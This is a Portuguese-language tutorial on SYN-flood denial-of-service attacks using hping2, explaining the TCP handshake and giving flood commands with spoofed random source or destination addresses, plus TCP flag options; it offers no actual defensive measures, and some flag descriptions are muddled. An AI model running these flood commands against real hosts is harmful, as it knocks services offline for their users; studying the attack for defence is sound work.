Um dia depois da inundação
Nesse artigo entenderemos uma das grandes dificuldades dos administradores de rede de computadores, que são as tentativas de acessos indevidos ou ataques investidos na rede. O interesse aqui é mostrar que a melhor defesa se faz quando se conhece a natureza do ataque.
Ataque dinâmico com HPING
Resumo
Nesse artigo entenderemos uma das grandes dificuldades dos administradores de rede de computadores, que são as tentativas de acessos indevidos ou ataques investidos na rede. O interesse aqui é mostrar que a melhor defesa se faz quando se conhece a natureza do ataque.Foi utilizada a distribuição Linux Debian 4 com o kernel versão 2.6.2x para testes e exemplos usados para o desenvolvimento desse artigo.
Introdução
O HPING é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor, ou seja, three-way handshake. As mensagens servidor/cliente são trocadas em 3 vias.O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a conexão está estabelecida.
Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP.
O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN apilha de memória sofre um estouro e todas as requisições são desprezadas.
Exemplos de ataque
Exemplo 1:A sintaxe do comando é a seguinte:
$ hping2 <host da vítima> <parâmetros>
# hping2 23.23.23.2 -p 80 -S -c 3
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=32792 rtt=0.2 ms
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=32792 rtt=0.1 ms
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=32792 rtt=0.1 ms
Nesta linha disparamos: -p 80 -c 3 (-p aponta a porta de envio dos pacotes e -c --count count seta a quantidade de pacotes). Desta maneira podemos avaliar as respostas do alvo.
Exemplo 2:
# hping2 23.23.23.2 -p 80 -S --faster --rand-source
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes
Nesta linha disparamos: -p 80 -S --fast --rand-source (-S setamos a flag como syn, --fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; --rand-source habilita o modo radom e troca o ip de origem dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips diferentes a cada pacote enviado. Até o momento em que este alvo não poderá responder todas as requisições e o kernel negará o serviço.
Obs.: CUIDADO com o teste utilizando esta linha, pois o host de destino não irá responder caso a segurança necessária não esteja implementada. Exemplo 3:
# hping2 23.23.23.2 -p 80 -S --faster --rand-dest
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes
Nesta linha disparamos: -p 80 -S --fast --rand-dest (-S setamos a flag como syn, --fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; --rand-dest habilita o modo radom e troca o ip de destino dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips alvos diferentes a cada pacote enviado.
As flags podem ser setadas das seguintes formas:
- -F --fin - Seta FIN tcp flag.
- -S --syn -Seta SYN tcp flag.
- -R --rst - Seta RST tcp flag.
- -P --push - Seta PUSH tcp flag.
- -A --ack - Seta ACK tcp flag.
- -U --urg - Set URG tcp flag.
- -X --xmas - Set Xmas tcp flag.
Modo de escuta:
- -9 --listen signature
HPING2 em modo de escuta. Utilizando esta opção o hping aguarda pelo pacote que contém esta assinatura e finaliza o pacote que contém a assinatura.
Exemplo.:
# hping2 -9 --listen 234-09sdflkjs45 -TESThello_word
Att: Idalmo Junior
calaff2@hotmail.com